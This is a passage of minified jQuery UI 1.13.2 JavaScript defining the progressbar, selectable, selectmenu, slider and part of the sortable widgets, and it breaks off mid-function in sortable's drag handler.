aria-valuemax aria-valuenow"),this.valueDiv.remove()},value:function(t){if(void 0===t)return this.options.value;this.options.value=this._constrainedValue(t),this._refreshValue()},_constrainedValue:function(t){return void 0===t&&(t=this.options.value),this.indeterminate=!1===t,"number"!=typeof t&&(t=0),!this.indeterminate&&Math.min(this.options.max,Math.max(this.min,t))},_setOptions:function(t){var e=t.value;delete t.value,this._super(t),this.options.value=this._constrainedValue(e),this._refreshValue()},_setOption:function(t,e){"max"===t&&(e=Math.max(this.min,e)),this._super(t,e)},_setOptionDisabled:function(t){this._super(t),this.element.attr("aria-disabled",t),this._toggleClass(null,"ui-state-disabled",!!t)},_percentage:function(){return this.indeterminate?100:100*(this.options.value-this.min)/(this.options.max-this.min)},_refreshValue:function(){var t=this.options.value,e=this._percentage();this.valueDiv.toggle(this.indeterminate||t>this.min).width(e.toFixed(0)+"%"),this._toggleClass(this.valueDiv,"ui-progressbar-complete",null,t===this.options.max)._toggleClass("ui-progressbar-indeterminate",null,this.indeterminate),this.indeterminate?(this.element.removeAttr("aria-valuenow"),this.overlayDiv||(this.overlayDiv=V("<div>").appendTo(this.valueDiv),this._addClass(this.overlayDiv,"ui-progressbar-overlay"))):(this.element.attr({"aria-valuemax":this.options.max,"aria-valuenow":t}),this.overlayDiv&&(this.overlayDiv.remove(),this.overlayDiv=null)),this.oldValue!==t&&(this.oldValue=t,this._trigger("change")),t===this.options.max&&this._trigger("complete")}}),V.widget("ui.selectable",V.ui.mouse,{version:"1.13.2",options:{appendTo:"body",autoRefresh:!0,distance:0,filter:"*",tolerance:"touch",selected:null,selecting:null,start:null,stop:null,unselected:null,unselecting:null},_create:function(){var i=this;this._addClass("ui-selectable"),this.dragged=!1,this.refresh=function(){i.elementPos=V(i.element[0]).offset(),i.selectees=V(i.options.filter,i.element[0]),i._addClass(i.selectees,"ui-selectee"),i.selectees.each(function(){var t=V(this),e=t.offset(),e={left:e.left-i.elementPos.left,top:e.top-i.elementPos.top};V.data(this,"selectable-item",{element:this,$element:t,left:e.left,top:e.top,right:e.left+t.outerWidth(),bottom:e.top+t.outerHeight(),startselected:!1,selected:t.hasClass("ui-selected"),selecting:t.hasClass("ui-selecting"),unselecting:t.hasClass("ui-unselecting")})})},this.refresh(),this._mouseInit(),this.helper=V("<div>"),this._addClass(this.helper,"ui-selectable-helper")},_destroy:function(){this.selectees.removeData("selectable-item"),this._mouseDestroy()},_mouseStart:function(i){var s=this,t=this.options;this.opos=[i.pageX,i.pageY],this.elementPos=V(this.element[0]).offset(),this.options.disabled||(this.selectees=V(t.filter,this.element[0]),this._trigger("start",i),V(t.appendTo).append(this.helper),this.helper.css({left:i.pageX,top:i.pageY,width:0,height:0}),t.autoRefresh&&this.refresh(),this.selectees.filter(".ui-selected").each(function(){var t=V.data(this,"selectable-item");t.startselected=!0,i.metaKey||i.ctrlKey||(s._removeClass(t.$element,"ui-selected"),t.selected=!1,s._addClass(t.$element,"ui-unselecting"),t.unselecting=!0,s._trigger("unselecting",i,{unselecting:t.element}))}),V(i.target).parents().addBack().each(function(){var t,e=V.data(this,"selectable-item");if(e)return t=!i.metaKey&&!i.ctrlKey||!e.$element.hasClass("ui-selected"),s._removeClass(e.$element,t?"ui-unselecting":"ui-selected")._addClass(e.$element,t?"ui-selecting":"ui-unselecting"),e.unselecting=!t,e.selecting=t,(e.selected=t)?s._trigger("selecting",i,{selecting:e.element}):s._trigger("unselecting",i,{unselecting:e.element}),!1}))},_mouseDrag:function(s){if(this.dragged=!0,!this.options.disabled){var t,n=this,o=this.options,a=this.opos[0],r=this.opos[1],l=s.pageX,h=s.pageY;return l<a&&(t=l,l=a,a=t),h<r&&(t=h,h=r,r=t),this.helper.css({left:a,top:r,width:l-a,height:h-r}),this.selectees.each(function(){var t=V.data(this,"selectable-item"),e=!1,i={};t&&t.element!==n.element[0]&&(i.left=t.left+n.elementPos.left,i.right=t.right+n.elementPos.left,i.top=t.top+n.elementPos.top,i.bottom=t.bottom+n.elementPos.top,"touch"===o.tolerance?e=!(i.left>l||i.right<a||i.top>h||i.bottom<r):"fit"===o.tolerance&&(e=i.left>a&&i.right<l&&i.top>r&&i.bottom<h),e?(t.selected&&(n._removeClass(t.$element,"ui-selected"),t.selected=!1),t.unselecting&&(n._removeClass(t.$element,"ui-unselecting"),t.unselecting=!1),t.selecting||(n._addClass(t.$element,"ui-selecting"),t.selecting=!0,n._trigger("selecting",s,{selecting:t.element}))):(t.selecting&&((s.metaKey||s.ctrlKey)&&t.startselected?(n._removeClass(t.$element,"ui-selecting"),t.selecting=!1,n._addClass(t.$element,"ui-selected"),t.selected=!0):(n._removeClass(t.$element,"ui-selecting"),t.selecting=!1,t.startselected&&(n._addClass(t.$element,"ui-unselecting"),t.unselecting=!0),n._trigger("unselecting",s,{unselecting:t.element}))),t.selected&&(s.metaKey||s.ctrlKey||t.startselected||(n._removeClass(t.$element,"ui-selected"),t.selected=!1,n._addClass(t.$element,"ui-unselecting"),t.unselecting=!0,n._trigger("unselecting",s,{unselecting:t.element})))))}),!1}},_mouseStop:function(e){var i=this;return this.dragged=!1,V(".ui-unselecting",this.element[0]).each(function(){var t=V.data(this,"selectable-item");i._removeClass(t.$element,"ui-unselecting"),t.unselecting=!1,t.startselected=!1,i._trigger("unselected",e,{unselected:t.element})}),V(".ui-selecting",this.element[0]).each(function(){var t=V.data(this,"selectable-item");i._removeClass(t.$element,"ui-selecting")._addClass(t.$element,"ui-selected"),t.selecting=!1,t.selected=!0,t.startselected=!0,i._trigger("selected",e,{selected:t.element})}),this._trigger("stop",e),this.helper.remove(),!1}}),V.widget("ui.selectmenu",[V.ui.formResetMixin,{version:"1.13.2",defaultElement:"<select>",options:{appendTo:null,classes:{"ui-selectmenu-button-open":"ui-corner-top","ui-selectmenu-button-closed":"ui-corner-all"},disabled:null,icons:{button:"ui-icon-triangle-1-s"},position:{my:"left top",at:"left bottom",collision:"none"},width:!1,change:null,close:null,focus:null,open:null,select:null},_create:function(){var t=this.element.uniqueId().attr("id");this.ids={element:t,button:t+"-button",menu:t+"-menu"},this._drawButton(),this._drawMenu(),this._bindFormResetHandler(),this._rendered=!1,this.menuItems=V()},_drawButton:function(){var t,e=this,i=this._parseOption(this.element.find("option:selected"),this.element[0].selectedIndex);this.labels=this.element.labels().attr("for",this.ids.button),this._on(this.labels,{click:function(t){this.button.trigger("focus"),t.preventDefault()}}),this.element.hide(),this.button=V("<span>",{tabindex:this.options.disabled?-1:0,id:this.ids.button,role:"combobox","aria-expanded":"false","aria-autocomplete":"list","aria-owns":this.ids.menu,"aria-haspopup":"true",title:this.element.attr("title")}).insertAfter(this.element),this._addClass(this.button,"ui-selectmenu-button ui-selectmenu-button-closed","ui-button ui-widget"),t=V("<span>").appendTo(this.button),this._addClass(t,"ui-selectmenu-icon","ui-icon "+this.options.icons.button),this.buttonItem=this._renderButtonItem(i).appendTo(this.button),!1!==this.options.width&&this._resizeButton(),this._on(this.button,this._buttonEvents),this.button.one("focusin",function(){e._rendered||e._refreshMenu()})},_drawMenu:function(){var i=this;this.menu=V("<ul>",{"aria-hidden":"true","aria-labelledby":this.ids.button,id:this.ids.menu}),this.menuWrap=V("<div>").append(this.menu),this._addClass(this.menuWrap,"ui-selectmenu-menu","ui-front"),this.menuWrap.appendTo(this._appendTo()),this.menuInstance=this.menu.menu({classes:{"ui-menu":"ui-corner-bottom"},role:"listbox",select:function(t,e){t.preventDefault(),i._setSelection(),i._select(e.item.data("ui-selectmenu-item"),t)},focus:function(t,e){e=e.item.data("ui-selectmenu-item");null!=i.focusIndex&&e.index!==i.focusIndex&&(i._trigger("focus",t,{item:e}),i.isOpen||i._select(e,t)),i.focusIndex=e.index,i.button.attr("aria-activedescendant",i.menuItems.eq(e.index).attr("id"))}}).menu("instance"),this.menuInstance._off(this.menu,"mouseleave"),this.menuInstance._closeOnDocumentClick=function(){return!1},this.menuInstance._isDivider=function(){return!1}},refresh:function(){this._refreshMenu(),this.buttonItem.replaceWith(this.buttonItem=this._renderButtonItem(this._getSelectedItem().data("ui-selectmenu-item")||{})),null===this.options.width&&this._resizeButton()},_refreshMenu:function(){var t=this.element.find("option");this.menu.empty(),this._parseOptions(t),this._renderMenu(this.menu,this.items),this.menuInstance.refresh(),this.menuItems=this.menu.find("li").not(".ui-selectmenu-optgroup").find(".ui-menu-item-wrapper"),this._rendered=!0,t.length&&(t=this._getSelectedItem(),this.menuInstance.focus(null,t),this._setAria(t.data("ui-selectmenu-item")),this._setOption("disabled",this.element.prop("disabled")))},open:function(t){this.options.disabled||(this._rendered?(this._removeClass(this.menu.find(".ui-state-active"),null,"ui-state-active"),this.menuInstance.focus(null,this._getSelectedItem())):this._refreshMenu(),this.menuItems.length&&(this.isOpen=!0,this._toggleAttr(),this._resizeMenu(),this._position(),this._on(this.document,this._documentClick),this._trigger("open",t)))},_position:function(){this.menuWrap.position(V.extend({of:this.button},this.options.position))},close:function(t){this.isOpen&&(this.isOpen=!1,this._toggleAttr(),this.range=null,this._off(this.document),this._trigger("close",t))},widget:function(){return this.button},menuWidget:function(){return this.menu},_renderButtonItem:function(t){var e=V("<span>");return this._setText(e,t.label),this._addClass(e,"ui-selectmenu-text"),e},_renderMenu:function(s,t){var n=this,o="";V.each(t,function(t,e){var i;e.optgroup!==o&&(i=V("<li>",{text:e.optgroup}),n._addClass(i,"ui-selectmenu-optgroup","ui-menu-divider"+(e.element.parent("optgroup").prop("disabled")?" ui-state-disabled":"")),i.appendTo(s),o=e.optgroup),n._renderItemData(s,e)})},_renderItemData:function(t,e){return this._renderItem(t,e).data("ui-selectmenu-item",e)},_renderItem:function(t,e){var i=V("<li>"),s=V("<div>",{title:e.element.attr("title")});return e.disabled&&this._addClass(i,null,"ui-state-disabled"),this._setText(s,e.label),i.append(s).appendTo(t)},_setText:function(t,e){e?t.text(e):t.html(" ")},_move:function(t,e){var i,s=".ui-menu-item";this.isOpen?i=this.menuItems.eq(this.focusIndex).parent("li"):(i=this.menuItems.eq(this.element[0].selectedIndex).parent("li"),s+=":not(.ui-state-disabled)"),(s="first"===t||"last"===t?i["first"===t?"prevAll":"nextAll"](s).eq(-1):i[t+"All"](s).eq(0)).length&&this.menuInstance.focus(e,s)},_getSelectedItem:function(){return this.menuItems.eq(this.element[0].selectedIndex).parent("li")},_toggle:function(t){this[this.isOpen?"close":"open"](t)},_setSelection:function(){var t;this.range&&(window.getSelection?((t=window.getSelection()).removeAllRanges(),t.addRange(this.range)):this.range.select(),this.button.trigger("focus"))},_documentClick:{mousedown:function(t){this.isOpen&&(V(t.target).closest(".ui-selectmenu-menu, #"+V.escapeSelector(this.ids.button)).length||this.close(t))}},_buttonEvents:{mousedown:function(){var t;window.getSelection?(t=window.getSelection()).rangeCount&&(this.range=t.getRangeAt(0)):this.range=document.selection.createRange()},click:function(t){this._setSelection(),this._toggle(t)},keydown:function(t){var e=!0;switch(t.keyCode){case V.ui.keyCode.TAB:case V.ui.keyCode.ESCAPE:this.close(t),e=!1;break;case V.ui.keyCode.ENTER:this.isOpen&&this._selectFocusedItem(t);break;case V.ui.keyCode.UP:t.altKey?this._toggle(t):this._move("prev",t);break;case V.ui.keyCode.DOWN:t.altKey?this._toggle(t):this._move("next",t);break;case V.ui.keyCode.SPACE:this.isOpen?this._selectFocusedItem(t):this._toggle(t);break;case V.ui.keyCode.LEFT:this._move("prev",t);break;case V.ui.keyCode.RIGHT:this._move("next",t);break;case V.ui.keyCode.HOME:case V.ui.keyCode.PAGE_UP:this._move("first",t);break;case V.ui.keyCode.END:case V.ui.keyCode.PAGE_DOWN:this._move("last",t);break;default:this.menu.trigger(t),e=!1}e&&t.preventDefault()}},_selectFocusedItem:function(t){var e=this.menuItems.eq(this.focusIndex).parent("li");e.hasClass("ui-state-disabled")||this._select(e.data("ui-selectmenu-item"),t)},_select:function(t,e){var i=this.element[0].selectedIndex;this.element[0].selectedIndex=t.index,this.buttonItem.replaceWith(this.buttonItem=this._renderButtonItem(t)),this._setAria(t),this._trigger("select",e,{item:t}),t.index!==i&&this._trigger("change",e,{item:t}),this.close(e)},_setAria:function(t){t=this.menuItems.eq(t.index).attr("id");this.button.attr({"aria-labelledby":t,"aria-activedescendant":t}),this.menu.attr("aria-activedescendant",t)},_setOption:function(t,e){var i;"icons"===t&&(i=this.button.find("span.ui-icon"),this._removeClass(i,null,this.options.icons.button)._addClass(i,null,e.button)),this._super(t,e),"appendTo"===t&&this.menuWrap.appendTo(this._appendTo()),"width"===t&&this._resizeButton()},_setOptionDisabled:function(t){this._super(t),this.menuInstance.option("disabled",t),this.button.attr("aria-disabled",t),this._toggleClass(this.button,null,"ui-state-disabled",t),this.element.prop("disabled",t),t?(this.button.attr("tabindex",-1),this.close()):this.button.attr("tabindex",0)},_appendTo:function(){var t=this.options.appendTo;return t=!(t=!(t=t&&(t.jquery||t.nodeType?V(t):this.document.find(t).eq(0)))||!t[0]?this.element.closest(".ui-front, dialog"):t).length?this.document[0].body:t},_toggleAttr:function(){this.button.attr("aria-expanded",this.isOpen),this._removeClass(this.button,"ui-selectmenu-button-"+(this.isOpen?"closed":"open"))._addClass(this.button,"ui-selectmenu-button-"+(this.isOpen?"open":"closed"))._toggleClass(this.menuWrap,"ui-selectmenu-open",null,this.isOpen),this.menu.attr("aria-hidden",!this.isOpen)},_resizeButton:function(){var t=this.options.width;!1!==t?(null===t&&(t=this.element.show().outerWidth(),this.element.hide()),this.button.outerWidth(t)):this.button.css("width","")},_resizeMenu:function(){this.menu.outerWidth(Math.max(this.button.outerWidth(),this.menu.width("").outerWidth()+1))},_getCreateOptions:function(){var t=this._super();return t.disabled=this.element.prop("disabled"),t},_parseOptions:function(t){var i=this,s=[];t.each(function(t,e){e.hidden||s.push(i._parseOption(V(e),t))}),this.items=s},_parseOption:function(t,e){var i=t.parent("optgroup");return{element:t,index:e,value:t.val(),label:t.text(),optgroup:i.attr("label")||"",disabled:i.prop("disabled")||t.prop("disabled")}},_destroy:function(){this._unbindFormResetHandler(),this.menuWrap.remove(),this.button.remove(),this.element.show(),this.element.removeUniqueId(),this.labels.attr("for",this.ids.element)}}]),V.widget("ui.slider",V.ui.mouse,{version:"1.13.2",widgetEventPrefix:"slide",options:{animate:!1,classes:{"ui-slider":"ui-corner-all","ui-slider-handle":"ui-corner-all","ui-slider-range":"ui-corner-all ui-widget-header"},distance:0,max:100,min:0,orientation:"horizontal",range:!1,step:1,value:0,values:null,change:null,slide:null,start:null,stop:null},numPages:5,_create:function(){this._keySliding=!1,this._mouseSliding=!1,this._animateOff=!0,this._handleIndex=null,this._detectOrientation(),this._mouseInit(),this._calculateNewMax(),this._addClass("ui-slider ui-slider-"+this.orientation,"ui-widget ui-widget-content"),this._refresh(),this._animateOff=!1},_refresh:function(){this._createRange(),this._createHandles(),this._setupEvents(),this._refreshValue()},_createHandles:function(){var t,e=this.options,i=this.element.find(".ui-slider-handle"),s=[],n=e.values&&e.values.length||1;for(i.length>n&&(i.slice(n).remove(),i=i.slice(0,n)),t=i.length;t<n;t++)s.push("<span tabindex='0'></span>");this.handles=i.add(V(s.join("")).appendTo(this.element)),this._addClass(this.handles,"ui-slider-handle","ui-state-default"),this.handle=this.handles.eq(0),this.handles.each(function(t){V(this).data("ui-slider-handle-index",t).attr("tabIndex",0)})},_createRange:function(){var t=this.options;t.range?(!0===t.range&&(t.values?t.values.length&&2!==t.values.length?t.values=[t.values[0],t.values[0]]:Array.isArray(t.values)&&(t.values=t.values.slice(0)):t.values=[this._valueMin(),this._valueMin()]),this.range&&this.range.length?(this._removeClass(this.range,"ui-slider-range-min ui-slider-range-max"),this.range.css({left:"",bottom:""})):(this.range=V("<div>").appendTo(this.element),this._addClass(this.range,"ui-slider-range")),"min"!==t.range&&"max"!==t.range||this._addClass(this.range,"ui-slider-range-"+t.range)):(this.range&&this.range.remove(),this.range=null)},_setupEvents:function(){this._off(this.handles),this._on(this.handles,this._handleEvents),this._hoverable(this.handles),this._focusable(this.handles)},_destroy:function(){this.handles.remove(),this.range&&this.range.remove(),this._mouseDestroy()},_mouseCapture:function(t){var i,s,n,o,e,a,r=this,l=this.options;return!l.disabled&&(this.elementSize={width:this.element.outerWidth(),height:this.element.outerHeight()},this.elementOffset=this.element.offset(),a={x:t.pageX,y:t.pageY},i=this._normValueFromMouse(a),s=this._valueMax()-this._valueMin()+1,this.handles.each(function(t){var e=Math.abs(i-r.values(t));(e<s||s===e&&(t===r._lastChangedValue||r.values(t)===l.min))&&(s=e,n=V(this),o=t)}),!1!==this._start(t,o)&&(this._mouseSliding=!0,this._handleIndex=o,this._addClass(n,null,"ui-state-active"),n.trigger("focus"),e=n.offset(),a=!V(t.target).parents().addBack().is(".ui-slider-handle"),this._clickOffset=a?{left:0,top:0}:{left:t.pageX-e.left-n.width()/2,top:t.pageY-e.top-n.height()/2-(parseInt(n.css("borderTopWidth"),10)||0)-(parseInt(n.css("borderBottomWidth"),10)||0)+(parseInt(n.css("marginTop"),10)||0)},this.handles.hasClass("ui-state-hover")||this._slide(t,o,i),this._animateOff=!0))},_mouseStart:function(){return!0},_mouseDrag:function(t){var e={x:t.pageX,y:t.pageY},e=this._normValueFromMouse(e);return this._slide(t,this._handleIndex,e),!1},_mouseStop:function(t){return this._removeClass(this.handles,null,"ui-state-active"),this._mouseSliding=!1,this._stop(t,this._handleIndex),this._change(t,this._handleIndex),this._handleIndex=null,this._clickOffset=null,this._animateOff=!1},_detectOrientation:function(){this.orientation="vertical"===this.options.orientation?"vertical":"horizontal"},_normValueFromMouse:function(t){var e,t="horizontal"===this.orientation?(e=this.elementSize.width,t.x-this.elementOffset.left-(this._clickOffset?this._clickOffset.left:0)):(e=this.elementSize.height,t.y-this.elementOffset.top-(this._clickOffset?this._clickOffset.top:0)),t=t/e;return(t=1<t?1:t)<0&&(t=0),"vertical"===this.orientation&&(t=1-t),e=this._valueMax()-this._valueMin(),e=this._valueMin()+t*e,this._trimAlignValue(e)},_uiHash:function(t,e,i){var s={handle:this.handles[t],handleIndex:t,value:void 0!==e?e:this.value()};return this._hasMultipleValues()&&(s.value=void 0!==e?e:this.values(t),s.values=i||this.values()),s},_hasMultipleValues:function(){return this.options.values&&this.options.values.length},_start:function(t,e){return this._trigger("start",t,this._uiHash(e))},_slide:function(t,e,i){var s,n=this.value(),o=this.values();this._hasMultipleValues()&&(s=this.values(e?0:1),n=this.values(e),2===this.options.values.length&&!0===this.options.range&&(i=0===e?Math.min(s,i):Math.max(s,i)),o[e]=i),i!==n&&!1!==this._trigger("slide",t,this._uiHash(e,i,o))&&(this._hasMultipleValues()?this.values(e,i):this.value(i))},_stop:function(t,e){this._trigger("stop",t,this._uiHash(e))},_change:function(t,e){this._keySliding||this._mouseSliding||(this._lastChangedValue=e,this._trigger("change",t,this._uiHash(e)))},value:function(t){return arguments.length?(this.options.value=this._trimAlignValue(t),this._refreshValue(),void this._change(null,0)):this._value()},values:function(t,e){var i,s,n;if(1<arguments.length)return this.options.values[t]=this._trimAlignValue(e),this._refreshValue(),void this._change(null,t);if(!arguments.length)return this._values();if(!Array.isArray(t))return this._hasMultipleValues()?this._values(t):this.value();for(i=this.options.values,s=t,n=0;n<i.length;n+=1)i[n]=this._trimAlignValue(s[n]),this._change(null,n);this._refreshValue()},_setOption:function(t,e){var i,s=0;switch("range"===t&&!0===this.options.range&&("min"===e?(this.options.value=this._values(0),this.options.values=null):"max"===e&&(this.options.value=this._values(this.options.values.length-1),this.options.values=null)),Array.isArray(this.options.values)&&(s=this.options.values.length),this._super(t,e),t){case"orientation":this._detectOrientation(),this._removeClass("ui-slider-horizontal ui-slider-vertical")._addClass("ui-slider-"+this.orientation),this._refreshValue(),this.options.range&&this._refreshRange(e),this.handles.css("horizontal"===e?"bottom":"left","");break;case"value":this._animateOff=!0,this._refreshValue(),this._change(null,0),this._animateOff=!1;break;case"values":for(this._animateOff=!0,this._refreshValue(),i=s-1;0<=i;i--)this._change(null,i);this._animateOff=!1;break;case"step":case"min":case"max":this._animateOff=!0,this._calculateNewMax(),this._refreshValue(),this._animateOff=!1;break;case"range":this._animateOff=!0,this._refresh(),this._animateOff=!1}},_setOptionDisabled:function(t){this._super(t),this._toggleClass(null,"ui-state-disabled",!!t)},_value:function(){var t=this.options.value;return t=this._trimAlignValue(t)},_values:function(t){var e,i;if(arguments.length)return t=this.options.values[t],t=this._trimAlignValue(t);if(this._hasMultipleValues()){for(e=this.options.values.slice(),i=0;i<e.length;i+=1)e[i]=this._trimAlignValue(e[i]);return e}return[]},_trimAlignValue:function(t){if(t<=this._valueMin())return this._valueMin();if(t>=this._valueMax())return this._valueMax();var e=0<this.options.step?this.options.step:1,i=(t-this._valueMin())%e,t=t-i;return 2*Math.abs(i)>=e&&(t+=0<i?e:-e),parseFloat(t.toFixed(5))},_calculateNewMax:function(){var t=this.options.max,e=this._valueMin(),i=this.options.step;(t=Math.round((t-e)/i)*i+e)>this.options.max&&(t-=i),this.max=parseFloat(t.toFixed(this._precision()))},_precision:function(){var t=this._precisionOf(this.options.step);return t=null!==this.options.min?Math.max(t,this._precisionOf(this.options.min)):t},_precisionOf:function(t){var e=t.toString(),t=e.indexOf(".");return-1===t?0:e.length-t-1},_valueMin:function(){return this.options.min},_valueMax:function(){return this.max},_refreshRange:function(t){"vertical"===t&&this.range.css({width:"",left:""}),"horizontal"===t&&this.range.css({height:"",bottom:""})},_refreshValue:function(){var e,i,t,s,n,o=this.options.range,a=this.options,r=this,l=!this._animateOff&&a.animate,h={};this._hasMultipleValues()?this.handles.each(function(t){i=(r.values(t)-r._valueMin())/(r._valueMax()-r._valueMin())*100,h["horizontal"===r.orientation?"left":"bottom"]=i+"%",V(this).stop(1,1)[l?"animate":"css"](h,a.animate),!0===r.options.range&&("horizontal"===r.orientation?(0===t&&r.range.stop(1,1)[l?"animate":"css"]({left:i+"%"},a.animate),1===t&&r.range[l?"animate":"css"]({width:i-e+"%"},{queue:!1,duration:a.animate})):(0===t&&r.range.stop(1,1)[l?"animate":"css"]({bottom:i+"%"},a.animate),1===t&&r.range[l?"animate":"css"]({height:i-e+"%"},{queue:!1,duration:a.animate}))),e=i}):(t=this.value(),s=this._valueMin(),n=this._valueMax(),i=n!==s?(t-s)/(n-s)*100:0,h["horizontal"===this.orientation?"left":"bottom"]=i+"%",this.handle.stop(1,1)[l?"animate":"css"](h,a.animate),"min"===o&&"horizontal"===this.orientation&&this.range.stop(1,1)[l?"animate":"css"]({width:i+"%"},a.animate),"max"===o&&"horizontal"===this.orientation&&this.range.stop(1,1)[l?"animate":"css"]({width:100-i+"%"},a.animate),"min"===o&&"vertical"===this.orientation&&this.range.stop(1,1)[l?"animate":"css"]({height:i+"%"},a.animate),"max"===o&&"vertical"===this.orientation&&this.range.stop(1,1)[l?"animate":"css"]({height:100-i+"%"},a.animate))},_handleEvents:{keydown:function(t){var e,i,s,n=V(t.target).data("ui-slider-handle-index");switch(t.keyCode){case V.ui.keyCode.HOME:case V.ui.keyCode.END:case V.ui.keyCode.PAGE_UP:case V.ui.keyCode.PAGE_DOWN:case V.ui.keyCode.UP:case V.ui.keyCode.RIGHT:case V.ui.keyCode.DOWN:case V.ui.keyCode.LEFT:if(t.preventDefault(),!this._keySliding&&(this._keySliding=!0,this._addClass(V(t.target),null,"ui-state-active"),!1===this._start(t,n)))return}switch(s=this.options.step,e=i=this._hasMultipleValues()?this.values(n):this.value(),t.keyCode){case V.ui.keyCode.HOME:i=this._valueMin();break;case V.ui.keyCode.END:i=this._valueMax();break;case V.ui.keyCode.PAGE_UP:i=this._trimAlignValue(e+(this._valueMax()-this._valueMin())/this.numPages);break;case V.ui.keyCode.PAGE_DOWN:i=this._trimAlignValue(e-(this._valueMax()-this._valueMin())/this.numPages);break;case V.ui.keyCode.UP:case V.ui.keyCode.RIGHT:if(e===this._valueMax())return;i=this._trimAlignValue(e+s);break;case V.ui.keyCode.DOWN:case V.ui.keyCode.LEFT:if(e===this._valueMin())return;i=this._trimAlignValue(e-s)}this._slide(t,n,i)},keyup:function(t){var e=V(t.target).data("ui-slider-handle-index");this._keySliding&&(this._keySliding=!1,this._stop(t,e),this._change(t,e),this._removeClass(V(t.target),null,"ui-state-active"))}}}),V.widget("ui.sortable",V.ui.mouse,{version:"1.13.2",widgetEventPrefix:"sort",ready:!1,options:{appendTo:"parent",axis:!1,connectWith:!1,containment:!1,cursor:"auto",cursorAt:!1,dropOnEmpty:!0,forcePlaceholderSize:!1,forceHelperSize:!1,grid:!1,handle:!1,helper:"original",items:"> *",opacity:!1,placeholder:!1,revert:!1,scroll:!0,scrollSensitivity:20,scrollSpeed:20,scope:"default",tolerance:"intersect",zIndex:1e3,activate:null,beforeStop:null,change:null,deactivate:null,out:null,over:null,receive:null,remove:null,sort:null,start:null,stop:null,update:null},_isOverAxis:function(t,e,i){return e<=t&&t<e+i},_isFloating:function(t){return/left|right/.test(t.css("float"))||/inline|table-cell/.test(t.css("display"))},_create:function(){this.containerCache={},this._addClass("ui-sortable"),this.refresh(),this.offset=this.element.offset(),this._mouseInit(),this._setHandleClassName(),this.ready=!0},_setOption:function(t,e){this._super(t,e),"handle"===t&&this._setHandleClassName()},_setHandleClassName:function(){var t=this;this._removeClass(this.element.find(".ui-sortable-handle"),"ui-sortable-handle"),V.each(this.items,function(){t._addClass(this.instance.options.handle?this.item.find(this.instance.options.handle):this.item,"ui-sortable-handle")})},_destroy:function(){this._mouseDestroy();for(var t=this.items.length-1;0<=t;t--)this.items[t].item.removeData(this.widgetName+"-item");return this},_mouseCapture:function(t,e){var i=null,s=!1,n=this;return!this.reverting&&(!this.options.disabled&&"static"!==this.options.type&&(this._refreshItems(t),V(t.target).parents().each(function(){if(V.data(this,n.widgetName+"-item")===n)return i=V(this),!1}),!!(i=V.data(t.target,n.widgetName+"-item")===n?V(t.target):i)&&(!(this.options.handle&&!e&&(V(this.options.handle,i).find("*").addBack().each(function(){this===t.target&&(s=!0)}),!s))&&(this.currentItem=i,this._removeCurrentsFromItems(),!0))))},_mouseStart:function(t,e,i){var s,n,o=this.options;if((this.currentContainer=this).refreshPositions(),this.appendTo=V("parent"!==o.appendTo?o.appendTo:this.currentItem.parent()),this.helper=this._createHelper(t),this._cacheHelperProportions(),this._cacheMargins(),this.offset=this.currentItem.offset(),this.offset={top:this.offset.top-this.margins.top,left:this.offset.left-this.margins.left},V.extend(this.offset,{click:{left:t.pageX-this.offset.left,top:t.pageY-this.offset.top},relative:this._getRelativeOffset()}),this.helper.css("position","absolute"),this.cssPosition=this.helper.css("position"),o.cursorAt&&this._adjustOffsetFromHelper(o.cursorAt),this.domPosition={prev:this.currentItem.prev()[0],parent:this.currentItem.parent()[0]},this.helper[0]!==this.currentItem[0]&&this.currentItem.hide(),this._createPlaceholder(),this.scrollParent=this.placeholder.scrollParent(),V.extend(this.offset,{parent:this._getParentOffset()}),o.containment&&this._setContainment(),o.cursor&&"auto"!==o.cursor&&(n=this.document.find("body"),this.storedCursor=n.css("cursor"),n.css("cursor",o.cursor),this.storedStylesheet=V("<style>*{ cursor: "+o.cursor+" !important; }</style>").appendTo(n)),o.zIndex&&(this.helper.css("zIndex")&&(this._storedZIndex=this.helper.css("zIndex")),this.helper.css("zIndex",o.zIndex)),o.opacity&&(this.helper.css("opacity")&&(this._storedOpacity=this.helper.css("opacity")),this.helper.css("opacity",o.opacity)),this.scrollParent[0]!==this.document[0]&&"HTML"!==this.scrollParent[0].tagName&&(this.overflowOffset=this.scrollParent.offset()),this._trigger("start",t,this._uiHash()),this._preserveHelperProportions||this._cacheHelperProportions(),!i)for(s=this.containers.length-1;0<=s;s--)this.containers[s]._trigger("activate",t,this._uiHash(this));return V.ui.ddmanager&&(V.ui.ddmanager.current=this),V.ui.ddmanager&&!o.dropBehaviour&&V.ui.ddmanager.prepareOffsets(this,t),this.dragging=!0,this._addClass(this.helper,"ui-sortable-helper"),this.helper.parent().is(this.appendTo)||(this.helper.detach().appendTo(this.appendTo),this.offset.parent=this._getParentOffset()),this.position=this.originalPosition=this._generatePosition(t),this.originalPageX=t.pageX,this.originalPageY=t.pageY,this.lastPositionAbs=this.positionAbs=this._convertPositionTo("absolute"),this._mouseDrag(t),!0},_scroll:function(t){var e=this.options,i=!1;return this.scrollParent[0]!==this.document[0]&&"HTML"!==this.scrollParent[0].tagName?(this.overflowOffset.top+this.scrollParent[0].offsetHeight-t.pageY<e.scrollSensitivity?this.scrollParent[0].scrollTop=i=this.scrollParent[0].scrollTop+e.scrollSpeed:t.pageY-this.overflowOffset.top<e.scrollSensitivity&&(this.scrollParent[0].scrollTop=i=this.scrollParent[0].scrollTop-e.scrollSpeed),this.overflowOffset.left+this.scrollParent[0].offsetWidth-t.pageX<e.scrollSensitivity?this.scrollParent[0].scrollLeft=i=this.scrollParent[0].scrollLeft+e.scrollSpeed:t.pageX-this.overflowOffset.left<e.scrollSensitivity&&(this.scrollParent[0].scrollLeft=i=this.scrollParent[0].scrollLeft-e.scrollSpeed)):(t.pageY-this.document.scrollTop()<e.scrollSensitivity?i=this.document.scrollTop(this.document.scrollTop()-e.scrollSpeed):this.window.height()-(t.pageY-this.document.scrollTop())<e.scrollSensitivity&&(i=this.document.scrollTop(this.document.scrollTop()+e.scrollSpeed)),t.pageX-this.document.scrollLeft()<e.scrollSensitivity?i=this.document.scrollLeft(this.document.scrollLeft()-e.scrollSpeed):this.window.width()-(t.pageX-this.document.scrollLeft())<e.scrollSensitivity&&(i=this.document.scrollLeft(this.document.scrollLeft()+e.scrollSpeed))),i},_mouseDrag:function(t){var 